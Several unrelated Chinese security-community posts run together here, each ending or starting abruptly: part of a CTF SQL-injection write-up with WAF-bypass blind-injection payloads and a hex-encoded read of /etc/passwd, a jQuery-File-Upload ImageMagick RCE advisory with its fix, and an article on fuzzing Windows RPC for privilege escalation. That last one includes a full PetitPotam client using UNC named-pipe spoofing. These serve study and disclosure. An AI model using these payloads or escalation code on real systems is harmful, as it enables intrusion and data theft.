但是经过赛后问了下三叶草师傅 原来还有个弱类型绕过后台漏洞(*我真的是菜鸡,代码审计经常忽略这些点 )
$admin_pass = sha1($udata['password'] . LOGIN_KEY);
if ($admin_pass == $login_data['admin_pass']) {
$islogin = 1;
} else {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
快速通读下admin文件夹就会知道$is_login是来判断是否有权限来访问后台的全局变量
这里做了个与cookie的可控数据admin_pass进行==判断 然后赋值为1
**看到==比较以后一定要注意 字符串和数字弱类型比较的问题(再骂自己一句垃圾)**
弱类型原理可以参考: [php 弱类型总结](https://www.cnblogs.com/Mrsm1th/p/6745532.html)
> 当一个字符串当作一个数值来取值，其结果和类型如下:如果该字符串没有包含'.','e','E'并且其数值值在整形的范围之内
>
> 该字符串被当作int来取值，其他所有情况下都被作为float来取值，该字符串的开始部分决定了它的值，如果该字符串以合法的数值开始，则使用该数值，否则其值为0。
字符串和数字比较的时候 规则是字符串转换为数字类型比较
回到当前题目:
`sha1($udata['password'] . LOGIN_KEY)`
`LOGIN_KEY` 在`common.php` => `define('LOGIN_KEY', 'abchdbb768526');`
`3aa526bed244d14a09ddcc49ba36684866ec7661`
`var_dump(sha1('abchdbb768526') == 3); => true`
所以这个可以考虑从0到1000进行爆破(LOGIN_KEY 非默认值的时候) 然后进入后台
后台没有flag,回到注入的点上来
**(1) 第一种解法: 正面硬肝**
function waf($string)
{
$blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-|<|>|\#|\s/i';
return preg_replace_callback($blacklist, function ($match) {
return '@' . $match[0] . '@';
}, $string);
}
考虑布尔盲注:
> 绕过= 从上面总结 可以考虑用 in
> 绕过substr -> 考虑用rpad
> 绕过\s -> /**/
所以说很容易就凑出来payload了
但是这里过滤了`or -> password过滤 information_schema过滤`
当时我以为考点是 突破字段名过滤绕过呢 但是上面总结可以知道
只有一种方法 通过联合查询 但是union被过滤了 当时我就觉得这个考点是这个了
可能是黑魔法啥的,心怀期待,不过结果令我有点遗憾，竟然是`json_decode`这个单一考点。
既然没办法通过information_schema获取表名,权限足够的话可以访问mysql表 来获取表名
我写了个mysql表结构分析 [MySQL.mysql db
分析](https://github.com/mstxq17/ctf_web/blob/master/MySQL.mysql%20db%20%E5%88%86%E6%9E%90.md)
里面写到了`innodb_table_stats` => `table_name,n_rows` 记录了innodb引擎的表 和列的数目
这个题目恰好只有一列 所以利用 通配符 可以跑出来
判断header头的 set-cookie 个数 => 布尔盲注
**(2)json_decode 函数绕过**
这个可以参考文章:
[(转)浅谈json参数解析对waf绕过的影响
](http://blog.sina.com.cn/s/blog_1574497330102wruv.html)
[用sqlmap解题2018HCTF-Kzone](https://wiki.ioin.in/url/oJLj)
这个点其实按照解题的思路
我也想到过,但是当时去谷歌: `json_decode 漏洞 函数缺陷`
没有找到 当时如果是 `json_decode 绕waf` 或许就看到这个点了(还是太菜)
\u+4个十六进制数字 => unicode编码
$c = array('name' => '' );
$c['name'] = $_POST['name'];
var_dump($c);
$a = json_decode($c['name'],true);
var_dump($a['name']);
if (1) {
if ($_COOKIE["login_data"]) {
var_dump($_COOKIE);
$login_data = json_decode($_COOKIE['login_data'], true);
echo $login_data['admin_user'];
}
}
?>
**寻找下解码原因(待解决)**
(1) 看下官方文档的函数说明:
> json
> 待解码的 json string 格式的字符串。
> 这个函数仅能处理 UTF-8 编码的数据。
> Note:
> PHP implements a superset of JSON as specified in the original » RFC 7159.
读一下:[RFC 7159](http://www.faqs.org/rfcs/rfc7159.html)
可以知道json类型可以存在unicode编码 (unicode压缩 ->utf-8)
那么decode解码就是php的问题了:
尝试看下源代码文件:
[php-src](https://github.com/openparallel/php-src/blob/6025d2973786ac5be80bcd7d276274d46fab3add/ext/json/json.c)
693行//
php_json_decode_ex(return_value, str, str_len, options, depth TSRMLS_CC);
601// php_json_decode_ex
感觉问题应该是出在
`parse_JSON_ex` 这个解析函数
写的有点长了
到时候我调试好php环境研究清楚在另写篇文章细分析下
(大佬别期待我,我只是个菜鸡。。。)
### 0x8.2 安恒11月赛 好黑的黑名单
这道题,当时我是写了这个总结的雏形,然后去做的题目,当时可能时间有限,没A出来,但同时让我们明白了个道理,想运用好这些知识去解题,还是需要一定的技巧,去探测规则。
由于缺乏环境,这个主要参考一叶飘零大佬的wp来编写解题思路:
[2018安恒杯11月赛-Web&Crypto题解](https://www.anquanke.com/post/id/166492#h2-4)
首先一开始判断是不是注入,常见几种方法(很多种情况,还有like那种,这个意会)
`1' and '1'='2`
`1" and "1"="2`
`2-1`
这里简单看看过滤规则:
考虑下联合注入发现`union`被过滤了,无果,
那么就是SQL盲注了,回想上文,SQL盲注需要的条件:
`查询结果 + 比较运算符 + 猜测值`
这里假设要读取的是: flag表的flag字段
查询结果对应的语句是:
`(select flag from flag)` 空格很明显被拦,/**/也被拦,看看还有其他的分隔符不,这里用`%0a`
`(select%0aflag%0afrom%0aflag)` 然后就是考虑截取一个一个比较,对比上面发现全被过滤,但是可以考虑下罕见函数,是没有过滤的。
这个时候继续走,在第一步基础上
考虑第二步比较运算符了:
这里一叶飘零师傅用了regexp试了一次,也用了between试了一次,然后又使用了hex编码绕过'a'过滤的单引号
最终构造出SQL盲注语句:
`if(((select%0af1agg%0afrom%0aflaggg)between%0a0x'+tmp1+'%0aand%0a0x'+tmp2+'),1,2)`
这个过程,主要是分析,该如何利用知识点,但是我觉得这个题目难点,还是在黑盒测试上,判断那些字符可用,是ctfer解出题目的关键。
### 0x8.3 安恒11月赛 ezsql(*)
不得不说,这道题目让我震撼到了,因为mysql注入点高权限,真的很少见,这里主要是刺激到了我一个盲点。
因为一般注入点,想读取表信息,没有`select` 是根本不可能的,但是这里文件操作函数,却是可以的。
首先谈下我的解题思路:
通过异或判断出是注入点,之后fuzz,发现过滤`select` 然后放弃(0rz)
然后就是wp的解题思路:
`if((hex(load_file(0x2f6574632f706173737764))like(0x25)),1,2)`
不用`select`就文件操作函数可以加载出内容,并且进行运算,0rz
这个点真的让我脑瓜一热,感觉特别开心,学到了新姿势。
## 0x9 End
最后,希望这篇水文能对你有所帮助。
# 0x10 reference linking
[胖哈勃杯第十三届CUIT校赛官方Writeup](https://www.codercto.com/a/3957.html)
[Mysql注入基础知识汇总](http://vinc.top/2017/04/05/%E3%80%90sql%E6%B3%A8%E5%85%A5%E3%80%91mysql%E6%B3%A8%E5%85%A5%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86%E6%B1%87%E6%80%BB/)
[SQL注入绕过过滤字符](http://www.lengbaikai.net/?p=121)
[报错注入姿势总结](http://vinc.top/2017/03/23/%E3%80%90sql%E6%B3%A8%E5%85%A5%E3%80%91%E6%8A%A5%E9%94%99%E6%B3%A8%E5%85%A5%E5%A7%BF%E5%8A%BF%E6%80%BB%E7%BB%93/)
[MYSQL报错注入的一点总结](https://xz.aliyun.com/t/253)
[mysql注入绕过的一些技巧](https://www.cnblogs.com/icez/p/4730869.html)
[在《WAF攻防之SQL注入篇》中几个有意思的发现](https://xz.aliyun.com/t/2069)
[ 三个白帽子之我是李雷雷，我在寻找韩梅梅系列 1–writeup](http://wonderkun.cc/index.html/?p=476)
[SQL注入之报错注入的一些随笔](https://blog.csdn.net/like98k/article/details/79646512)
[使用exp进行SQL报错注入](http://drops.xmd5.com/static/drops/tips-8166.html)
[SQL注入防御与绕过的几种姿势](https://www.anquanke.com/post/id/86005)
[高级SQL注入：混淆和绕过](http://www.cnblogs.com/croot/p/3450262.html)
[【PHP代码审计】入门之路——第二篇-宽字节注入](https://xz.aliyun.com/t/1719)
[HCTF2018 Writeup -- Eur3kA](https://xz.aliyun.com/t/3253#toc-7) | 社区文章 |
[jQuery-File-Upload](https://github.com/blueimp/jQuery-File-Upload) 是 Github
上继 jQuery 之后最受关注的 jQuery 项目，该项目最近被披露出一个存在了长达三年之久的任意文件上传漏洞，该漏洞在随后发布的 v9.22.2
版本中被修复，但是在 [VulnSpy](http://www.vulnspy.com/)
团队对代码的复查中发现了另外一个严重的命令执行漏洞，该漏洞允许攻击者通过上传恶意的图片文件来执行任意系统命令。
### 漏洞细节
在 jQuery-File-Upload 的 PHP 上传处理文件
[/server/php/UploadHandler.php](https://github.com/blueimp/jQuery-File-Upload/blob/master/server/php/UploadHandler.php) 中优先使用了 Imagick 来校验上传的图片：
protected function get_image_size($file_path) {
if ($this->options['image_library']) {
if (extension_loaded('imagick')) {
$image = new \Imagick();
try {
if (@$image->pingImage($file_path)) {
$dimensions = array($image->getImageWidth(), $image->getImageHeight());
$image->destroy();
return $dimensions;
}
return false;
} catch (\Exception $e) {
error_log($e->getMessage());
}
}
if ($this->options['image_library'] === 2) {
$cmd = $this->options['identify_bin'];
$cmd .= ' -ping '.escapeshellarg($file_path);
exec($cmd, $output, $error);
if (!$error && !empty($output)) {
// image.jpg JPEG 1920x1080 1920x1080+0+0 8-bit sRGB 465KB 0.000u 0:00.000
$infos = preg_split('/\s+/', substr($output[0], strlen($file_path)));
$dimensions = preg_split('/x/', $infos[2]);
return $dimensions;
}
return false;
}
}
if (!function_exists('getimagesize')) {
error_log('Function not found: getimagesize');
return false;
}
return @getimagesize($file_path);
}
我们都知道 ImageMagick 在近几年来出现了多个严重的安全漏洞：
* [More Ghostscript Issues: Should we disable PS coders in policy.xml by default?](https://seclists.org/oss-sec/2018/q3/142)
* [CVE Request - multiple ghostscript -dSAFER sandbox problems](http://seclists.org/oss-sec/2016/q4/29)
* [CVE Request: GraphicsMagick and ImageMagick popen() shell vulnerability via filename](https://seclists.org/oss-sec/2016/q2/432)
因此我们可已直接通过上传含有恶意代码的图片来利用该漏洞，按照老规矩，[VulnSpy](http://www.vulnspy.com/)
已经准备好了在线的实验环境，大家可以移步到下面链接进行测试：
**在线测试地址：<https://www.vulnspy.com/cn-jquery-file-upload-below-v9.x-rce/>**
### 如何修复
将 [/server/php/UploadHandler.php](https://github.com/blueimp/jQuery-File-Upload/blob/286f25ce9646b7f699110ef877e346930b1b9cad/server/php/UploadHandler.php#L131)
中的默认图片处理库修改为GD库：
// Set to 0 to use the GD library to scale and orient images,
// set to 1 to use imagick (if installed, falls back to GD),
// set to 2 to use the ImageMagick convert binary directly:
'image_library' => 0
**本文转载自：[jQuery-File-Upload <= 9.x 远程命令执行漏洞
(ImageMagick/Ghostscript)](https://blog.vulnspy.com/2018/10/23/jQuery-File-Upload-9-x-Remote-Code-Execution-With-ImageMagick-Ghostscript-CN/)**
### 参考
* [Remote code execution vulnerability in the PHP component](https://github.com/blueimp/jQuery-File-Upload/blob/master/VULNERABILITIES.md#remote-code-execution-vulnerability-in-the-php-component) | 社区文章 |
# 青蛙旅行 — Unity3d类安卓游戏逆向分析初探
##### 译文声明
本文是翻译文章，文章原作者 猎户安全实验室；黄小秋，文章来源：paper.seebug.org ；.zhihu.com；
原文地址：<https://paper.seebug.org/519/ ；
https://www.zhihu.com/question/68733553/answer/305463907>
译文仅供参考，具体内容表达以及含义原文为准。 | 社区文章 |
# 关于Windows RPC挖掘的那些事
## 0x01 前言
最近在研究与Windows本地提权相关的安全问题，发现其实就本地提权而言，不局限于BypassUAC和通过内核漏洞，提权还存在非常多的其他手段，在这里主要是想结合Windows中的RPC机制，讲述笔者是如何通过对Windows中的RPC方法进行Fuzz，从而挖掘出Windows尚未进行修复和改进的一些漏洞，进而利用这些漏洞实现本地提权的目的，值得一提的是，和`pipepotato`类似，由于利用条件需要拥有`Impersonate`权限以及微软对于提权漏洞的判定来说，微软并不认为这是一个提权漏洞，因此相关披露已经得到了微软的许可
* * *
相关实现:
1.<https://github.com/crisprss/magicAzureAttestService>
2.<https://github.com/crisprss/PetitPotam>
## 0x02 如何进行Fuzz
这里就需要介绍本文的主角--RPC
> RPC 代表“远程过程调用”，它不是 Windows 特定的概念。RPC
> 的第一个实现是在80年代在UNIX系统上实现的。这允许机器在网络上相互通信，它甚至被“用作网络文件系统（NFS）的基础”
由微软开发并在Windows上使用的RPC实现是[DCE/RPC](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rpce/290c38b1-92fe-4229-91e6-4fc376610c15?redirectedfrom=MSDN)，它是“分布式计算环境/远程过程调用”的缩写。DCE/RPC只是Windows中使用的众多
IPC（进程间通信）机制之一。例如，它用于允许本地进程甚至网络上的远程客户端与本地或远程机器上的另一个进程或服务交互。
因此，这种协议的安全含义特别有趣。RPC服务器中的漏洞可能会产生各种结果，从拒绝服务 (DoS) 到远程代码执行 (RCE)，包括本地权限提升
(LPE)。由于历史遗留问题,Windows上遗留RPC服务器的代码通常很旧,如果我们排除更新的 (D)COM模型，这使它成为一个非常有趣的模糊测试目标。
### (1) 工具选择
当我们在使用Impact工具来在域环境中进行横向或者纵向的信息收集或攻击中,或多或少都会使用Windows RPC但可能并不总是完全了解它。
如果你想知道这些工具是如何工作的，或者你想自己寻找`Windows
RPC`中的bug,我认为主要有两种方法。第一种方法在于寻找文档中有趣的关键词，然后通过impacket库去进行尝试,并且在Github中不乏有记录Windows大量RPC接口的文档,但是它仍然有一些限制,主要的问题是并非所有的RPC接口都被记录在案，甚至现有的文档也不总是完整的。
因此，第二种方法是使用RpcView等工具直接在Windows机器上枚举RPC服务器
### (2) Rpcview
在Rpcview的[官网](https://rpcview.org/)中给出了详细介绍,我们可以在Github中下载,由于RPC接口和`rpcrt4.dll`相联系，在这里并不建议使用最近更新后的机器下载和运行RPCview,原因是`rpcrt4.dll`新的版本可能还未在工具中记录
在这里可以看到对应的版本信息,如果没有覆盖，可以通过手工编译的方式来编译生成一个适配本地环境的RPCview,在这里就不再赘述。
当下载或者编译成功后我们以管理员身份成功打开后,应该是如下图这样:
**工具优化**
在截图中的右下方我们可以看到有一个部分应该列出通过RPC服务器公开的所有过程或函数，但它实际上只包含地址。
这样并不能够直接准确的定位方法的内容或者信息，但是在Windows的可执行文件中中我们知道微软都会发布它们关联的`PDB（程序数据库）`文件
> PDB 是一种专有文件格式（由 Microsoft 开发），用于存储有关程序（或通常的程序模块，如 DLL 或 EXE）的调试信息
如果我们事先下载`Windows10
SDK`那么这一步应该很简单。SDK包含一个名为的工具`symchk.exe`，它允许直接从Microsoft的服务器获取几乎所有EXE或 DLL
的PDB文件。
例如，以下命令允许您下载.dll文件中所有DLL的符号
cd "C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\"
symchk /s srv*c:\SYMBOLS*https://msdl.microsoft.com/download/symbols C:\Windows\System32\*.dll
当下载完所有对应的符号表后,在RPCview中通过`Options > Configure Symbols`菜单项进行配置
再次重新启动RPCview后可以看到几乎每个函数的名称都会解析
## 0x03 从RPC通信到PetitPotam实现本地提权
从上文当我们了解和使用了RPCview后,通过对`PetitPotam`的研究,我们先着手自己实现利用`PetitPotam`进行本地提权的工具
### (1) 前置了解
我们知道在PetitPotam的实现过程中本质也是基于对RPC组件或者说是某个接口的实现，因此在此之前应该需要对Windows中RPC(远程过程调用)做一个简单的介绍
所谓过程调用，就是将控制从一个过程 A 传递到另一个过程 B, 返回时过程 B 将控制进程交给过程 A。目前大多数系统中,
调用者和被调用者都在给定主机系统中的一个进程中, 它们是在生成可执行文件时由链接器连接起来的, 这类过程调用称为本地过程调用。
Rpc(远程过程调用)：基于网络端口而实现，支持协议：[https://docs.microsoft.com/en-us/windows/win32/rpc/string-binding](https://)
Rpc是广义的，RPC可以发生在不同的主机之间，也可以发生在同一台主机上，发生在同一台主机上就是LPC。
而本地过程调用(LPC)：是压栈直接调函数，远程过程调用也是调函数，但是在调用另一个进程的函数，而为了区分调用哪个函数设置了一些标识，这些表示则对应两个进程的对应的函数，所以客户端传给服务端不仅仅需要传递函数的参数还需要给那些标识表示调用哪个函数。
MSDN中给出了一张关于RPC体系结构图:
了解了这些之后我们应该还认识到如下一些问题:
* **RPC客户端如何区分RPC服务器？**
* **RPC客户端如何知道RPC服务器公开了哪些过程/函数？**
* **RPC客户端如何调用远程过程/函数？**
为此我们还需要了解在实现RPC通信过程中需要进行如下的配置:
IDL文件：为了统一客户端与服务端不同平台处理不同的实现，于是有了IDL语言。IDL文件由一个或多个接口定义组成，每一个接口定义都有一个接口头和一个接口体，接口头包含了使用此接口的信息(UUID和接口版本)，接口体包含了接口函数的原型
UUID：通常为一个16长度的标识符，具有唯一性，在Rpc通信模型中，Rpc运行时库使用UUID来检查客户端和服务器之间的兼容性，也使用它在注册表中配置自身。
> 在vs 2019中可以在工具->创建UUID中生成唯一的UUID
ACF文件（RPC 应用程序配置文件）：Rpc应用程序使用 ACF
文件来描述特定于硬件和操作系统的接口的特性,和IDL文件一起由MIDL编译，所以MIDL编译器(vs自带)可以为不同的平台和系统版本生成代码，这并非是必须的
由它们(ACF/IDL)编译生成后的文件用于描述调用方和被调用过程之间的数据交换和函数原型和参数传递机制。
传递机制其实是和Java中RPC的传递是类似的，将传递给服务端的参数转换为二进制流，服务端接受参数后进行反序列化，这些实现在`RpcNDR`引擎,而`RpcNDR`引擎发送的数据依赖于`idl/.acf`文件编译后生成的存根文件。
> 另外RPC技术发送Local请求时使用ncalrpc协议，发送Remote请求时使用ncacn_ip_tcp或者ncacn_np协议，前者微软更推荐。
当使用ncacn_np时，DCE/RPC请求被封装在SMB数据包中并发送到远程命名管道。另一方面，当使用ncacn_ip_tcp时，DCE/RPC请求直接通过TCP发送
我们以`ncacn_ip_tcp`为例，来看看整个过程中的TCP数据报文
这里可以看到调用一次方法的过程中，首先进行TCP三次握手，然后通过DCERPC协议会有4个数据包，前两次可能是获取接口列表，后两次对应的是客户端传参和调用函数，以及服务端接受序列化的数据后进行的响应包
在这里以一个demo为例来尝试自己编写一个RPC接口供客户端调用服务端的接口函数
首先通过编写接口定义语言(IDL)文件:
确定唯一的UUID以及方法的接口体,这里定义两个方法,在acf配置文件中定义好我们的序列化句柄:
进行编译后会生成3个文件分别对应`rpcDemo_c.c、rpcDemo_s.c、rpcDemo_h.h`
其中包含一个头文件和分别对应客户端和服务端的文件，不论是在编写客户端还是服务端我们都需要包含头文件，而在对应编写中我们只需要导入对应的客户端或者服务端的c源文件即可
### (2) 服务端调用过程
服务端调用过程：
RpcServerUseProtseqEp 函数告诉 RPC 运行时库使用指定的协议序列与指定的终结点组合来接收远程过程调用。
RpcServerRegisterIfEx函数使用 RPC 运行时库注册接口。
RpcServerListen函数向 RPC 运行时库发出信号，以监听远程过程调用。
注意:这里为了能够抓取数据包，选择`ncacn_ip_tcp`协议，监听23333端口
### (3) 客户端调用过程
客户端调用过程:
RpcStringBindingCompose 生成绑定句柄的字符串。
RpcBindingFromStringBinding 绑定函数从绑定句柄的字符串表示形式返回绑定句柄。
这里一般将调用RPC接口函数的过程放在`RPCTryExcept`中:
> 注意，在这里避免链接错误，我们需要做两个操作
1. **包含函数**
函数`MIDL_user_allocate`和`MIDL_user_free`用于为RPC存根分配和释放内存。
[MIDL_user_allocate](https://docs.microsoft.com/en-us/windows/win32/rpc/the-midl-user-allocate-function)和[MIDL_user_free](https://docs.microsoft.com/en-us/windows/win32/rpc/the-midl-user-free-function)
在实现RPC应用程序时，它们必须在应用程序的某个地方定义,这里直接在主文件定义即可
//在客户端和服务端实现中都要包含这两个函数
void __RPC_FAR* __RPC_USER midl_user_allocate(size_t len)
{
return(malloc(len));
}
void __RPC_USER midl_user_free(void __RPC_FAR *ptr)
{
free(ptr);
}
2. **引入rpcrt4.lib依赖包**
可以在vs 2019项目属性-链接器中引入，也可以手动通过`#pragma comment(lib,"RpcRT4.lib")`进行引入
当服务端和客户端全部编译完成后，就可以远程或者本地过程调用printHello方法，效果如前文图
### (3) 利用RPCView
不同的厂商实现了不同的Rpc协议，这里主要针对windows内部使用的Rpc，对用户来说，它是隐藏的，你并不知道这个调用的方法是部署哪里，不过这并不代表我们无法让它们暴露出来，这里便可以使用RpcView来反编译idl接口
[https://github.com/silverf0x/RpcView](https://)
由于PpcView无法自动下载对应的PDB,如果我们想进一步利用和探索RPC过程则需要手动下载对应的所有PDB
使用RPCview可以得到进程对应的interface接口和使用的协议，最为关键的是可以反编译IDL文件，该IDL文件不太准确，但是基本上反编译出来还是比较正确的。
> 请注意，反编译后重要的不是接口函数名字，重要的是函数参数和uuid以及版本，端口协议信息，因为名字和通信是否成功没有任何关系。
### (4) PetitPotam
#### 4.1 MS-EFSR
我们回到正文，PetitPotam利用基于EFSR接口的加密文件系统远程协议
(EFSRPC),该协议在MSDN中也被十分详细的介绍，EFSRPC协议对远程存储和通过网络访问的加密数据执行维护和管理操作
其中在文档中描述了MS-EFSR接口的调用
在官方文档里面`MS-EFSR`的调用有`\pipe\lsarpc`和`\pipe\efsrpc`两种方法，其中:
\pipe\lsarpc的服务器接口必须是UUID [c681d488-d850-11d0-8c52-00c04fd90f7e]
\pipe\efsrpc的服务器接口必须是UUID [df1941c5-fe89-4e79-bf10-463657acf44d]
当使用Rpcview来查看`lsass.exe`进程时我们可以发现:
在这里值得引起我们的注意，因为lsass进程由低特权用户启动，而该进程为特权进程(具有SYSTEM权限)并且能通过命名管道的方式执行相关远程文件操作,很容易联想起Pringbug也是存在类似操作,我们是有可能通过模拟RPC客户端来模拟特权进程创建相关进程的。
这里我们可以选择将其反编译成IDL文件后，生成对应的头文件和源文件，在此基础上实现客户端
这里用反编译得到的IDL实现了客户端，当我们使用接口的UUID位`df1941c5-fe89-4e79-bf10-463657acf44d`对应端点名称`\pipe\efsrpc`
却发现抛出异常: **RPC_S_SERVER_UNAVAILABLE** 代表RPC服务器不可用
这个接口行不通，别忘了MSDN还给出了另外一种调用的方法，那就是通过`\pipe\lsarpc`这个端点名称，幸运的是这个特权进程的确也使用了该种方式:
因此我们反编译IDL后重新生成对应的头文件和源文件,运行编译完成的Demo程序:
#pragma comment(lib, "RpcRT4.lib")
#include "efsr_h.h"
#include <iostream>
#include <tchar.h>
#include <strsafe.h>
int wmain(int argc, wchar_t* agrv[])
{
RPC_STATUS status;
RPC_WSTR pszStringBinding;
RPC_BINDING_HANDLE BindingHandle;
status = RpcStringBindingCompose(
NULL,
(RPC_WSTR)L"ncacn_np",
(RPC_WSTR)L"\\\\127.0.0.1",//这里取NULL也能代表本地连接
(RPC_WSTR)L"\\pipe\\lsarpc",
NULL,
&pszStringBinding
);
wprintf(L"[+]RpcStringBindingCompose status: %d\n", status);
wprintf(L"[*] String binding: %ws\r\n", pszStringBinding);
//绑定接口
status = RpcBindingFromStringBinding(pszStringBinding, &BindingHandle);
wprintf(L"[+]RpcBindingFromStringBinding status: %d\n",status);
//释放资源
status = RpcStringFree(&pszStringBinding);
wprintf(L"RpcStringFree code:%d\n", status);
RpcTryExcept{
PVOID pContent;
LPWSTR pwszFileName;
pwszFileName = (LPWSTR)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
StringCchPrintf(pwszFileName, MAX_PATH, L"\\\\127.0.0.1\\C$\\tmp\\test.txt");
long result;
wprintf(L"[*] Invoking EfsRpcOpenFileRaw with target path: %ws\r\n", pwszFileName);
result = Proc0_EfsRpcOpenFileRaw_Downlevel(
BindingHandle,
&pContent,
pwszFileName,
0
);
wprintf(L"[*] EfsRpcOpenFileRaw status code: %d\r\n", result);
status = RpcBindingFree(
&BindingHandle // Reference to the opened binding handle
);
}
RpcExcept(1)
{
wprintf(L"RpcExcetionCode: %d\n", RpcExceptionCode());
}RpcEndExcept
}
// 下面的函数是为了满足链接需要而写的，没有的话会出现链接错误
void __RPC_FAR* __RPC_USER midl_user_allocate(size_t len)
{
return(malloc(len));
}
void __RPC_USER midl_user_free(void __RPC_FAR* ptr)
{
free(ptr);
}
运行编译后的程序我们发现此时的`EfsRpcOpenFileRaw Status
Code`为2，对应:`ERROR_FILE_NOT_FOUND`，说明该接口函数调用成功了，只是我们指定的文件并不存在
不仅如此，我们可以看到lsass.exe确实尝试访问`\\127.0.0.1\C$\tmp\test.txt`不存在的文件，因此出现"找不到文件"错误。
并且我们注意到在`lsass.exe`打开了管道`\pipe\srvsvc`,这和此前的`PrintSpoofer`利用是异曲同工的，我们可以尝试让`lsass.exe`访问另外一个恶意的管道,而欺骗手段也是类似，利用`/`来绕过路径的检测，欺骗进程访问`\\pipe\\xxx\pipe\srvsvc`管道
经过尝试。我们可以通过这样的UNC路径来欺骗进程访问管道:
\\\\127.0.0.1/pipe/crispr\\C$\\x
通过`Process Monitor`查看一下是否成功:
可以看到，通过利用特定UNC路径成功欺骗`lsass.exe`进程去连接指定的管道，因此为了实现本地提权，我们只需要创建这样一个特定管道去模拟RPC客户端安全上下文即可
> 管道模拟RPC安全上下文需要SecurityImpersonation权限，因此适用于Service服务用户提权至SYSTEM用户
#### 4.2 工具实现
编写的Petitpotam本地提权工具提供了如下几种接口函数用于本地提权:
1.EfsRpcOpenFileRaw (fixed with CVE-2021-36942)
2: EfsRpcEncryptFileSrv_Downlevel
3: EfsRpcDecryptFileSrv_Downlevel
4: EfsRpcQueryUsersOnFile_Downlevel
5: EfsRpcQueryRecoveryAgents_Downlevel
6: EfsRpcRemoveUsersFromFile_Downlevel
7: EfsRpcAddUsersToFile_Downlevel
Usage:Petitpotam \<EFS-API-to-use> //选择对应的索引即可
部分利用截图:
但是笔者注意到近期微软似乎已经修复了PetitPotam，再利用过程中无法再通过UNC欺骗的方式来骗取特权进程，即`lsass.exe`对“自定义命名管道”进行相关通信
可以看到此前的UNC Spoofing已经不再能够使用，这意味着特权进程不再会和“自定义的命名管道”进行通信，但是在虚拟机未修复版本中还是可以正常使用
## 0x04 分享一 DiagTrack服务提权
### (1)DiagTrack服务
在对 **PetitPotam**
的原理以及利用方式说明之后，我想可能对于如何去寻找和利用现有的RPC方法来实现提权已经有了基本的思路，在这里笔者将披露近期挖掘的两个提权Trick,至少在写文章期间还没有在互联网上能够搜索到相关资料，之所以不叫做0Day，会因为事实上微软认为Impersonation权限已经是高权限用户，这和Potato提权是一个道理，并且事实上只有其中之一能够实现服务用户到系统用户的提权，因此旨在分享思路和利用方式
**诊断跟踪服务**
（又名连接用户体验和遥测服务）可能是最具争议的Windows功能之一，以收集用户和系统数据而闻名，并且值得注意的是该服务是默认开启的服务
于是笔者使用RPCview来查看该对应进程开启的RPC接口:
这里出现了以Download为关键词的一系列API方法，根据接口方法名可以推测出该方法可能与文件操作相关或者是与某些连接访问相关，并且这里是特权进程，如果接口对调用者没有进行身份验证或者鉴别，当我们以普通用户的身份能够充当RPC客户端时，这就意味着我们可以以一个低权限的用户来通过这些API方法来操控特权进程
因此在这里利用RPCview反编译生成了IDL文件，经过构造和尝试后我发现可以以普通用户来成功的调用这些接口方法，我将目光投向了
`UtcApi_StartCustomTrace`函数，因为需要在参数中选择一个字符串,这里如果想进一步了解方法的详细操作,可以定位到对应的DLL文件,对该DLL文件进行逆向分析从而判断
早在2020年时@itm4n就在该项服务中挖掘到了一处任意文件读取漏洞，其中利用`UtcApi_DownloadLatestSettings`
RPC方法，结合James
Forshaw的符号链接测试工具<https://github.com/googleprojectzero/symboliclink-testing-tools>
通过挂载的方式实现Windows任意文件读取，因此笔者也是率先从这项服务中进行探索
### (2) 测试RPC
笔者在这里利用的是`UtcApi_StartCustomTrace` RPC函数
在这里笔者构造了一个作为RPC客户端的程序，主要是将第二个参数，也就是字符串，修改为本地文件
然后笔者再使用`Process
Monitor`来观察进程执行的操作，如果它确实按照我们的预期访问了我们指定的文件，那么我们就可以通过修改UNC路径来使得特权进程访问恶意管道，从而模拟RPC实现提权
可以看到，我只用普通用户权限的cmd执行程序后，对应的特权进程确实访问了`C:\tmp\crispr.txt`,当有了如上的结果时这里笔者尝试让进程访问一个命名管道
> 注意：这里我选择使用UNC路径，因为它始终适用于大多数提权
>
同样打开`Process Monitor`来查看对应进程的相关行为操作:
特权进程确实会尝试访问命名管道，这意味着我们可以创建恶意管道来模拟`RPC`安全上下文
> 注意：管道模拟RPC客户端需要SecurityImpersonation权限，也就是说可以将权限从服务用户（NT AUTHORITY\LOCAL
> SERVICE OR SQLSERVER账号等）提升到SYSTEM权限
这也就是为何微软不认为这是提权漏洞的原因,和Rotten
Potato类似,均需要`SecurityImpersonation`权限,而微软给出的解释认为具有该权限的用户组本身就是SYSTEM用户组,因此并不认为这是提权漏洞,但是在渗透过程中利用范围依然比较广泛,因为服务账户通常是具有该权限的,例如IIS用户和sqlserver用户组等
### (3) 工具实现
于是笔者简单地写了一个恶意的管道试图模拟RPC使用特权进程的token创建一个cmd进程
最终的结果是成功的使用了这个RPC接口方法，让本地服务用户能够提升到SYSTEM权限
基于以上，笔者尝试了其他接口函数，已经确认以下接口函数可以用于提权:
1.UtcApi_StartCustomTrace
2.UtcApi_SnapCustomTrace
由于该服务默认是开启的,最终实现的效果为以服务用户的身份成功提权至SYSTEM
但是正当笔者以为能够正常触发之时，我没有意识到这项服务对服务用户来说是透明的，这也意味这想要通过服务用户来模拟管道提权是不可行的，因为服务用户例如sqlserver等没有办法调用RPC接口，这也意味着通过这种方式只能从管理员用户提权到SYSTEM,因此在这里只是做一个过程分享
## 0x05 分享二 AzureAttestService服务提权
### (2) AzureAttestService服务
接上文所述,同样是对服务进行相关接口Fuzz时发现了一个有趣的服务:
与其他服务不同,该服务没有任何的描述,经过相关搜索后发现系统在安装SQL Server 2019后会默认安装和启动这项服务
该服务与微软公司`Azure`证明相关，回到RPCview中,通过对该接口的定位发现反编译生成的IDL文件只有一个接口方法:
因为它只实现了一种接口方法，并且注意端点名称是固定的，意味着只要安装了SQL Server 2019，普通用户完全可以充当RPC客户端
### (1) 构造调用
笔者开始在本地实现RPC客户端来调用这个接口函数,首先用Rpcview反编译生成对应的IDL文件:
[
uuid(78224520-4978-4616-8075-3d514ad9896f),
version(1.0),
]
interface DefaultIfName
{
long Proc0(
[in]handle_t arg_0,
[in][string] wchar_t* arg_1,
[in][unique][size_is(arg_3)]char* arg_2,
[in]long arg_3,
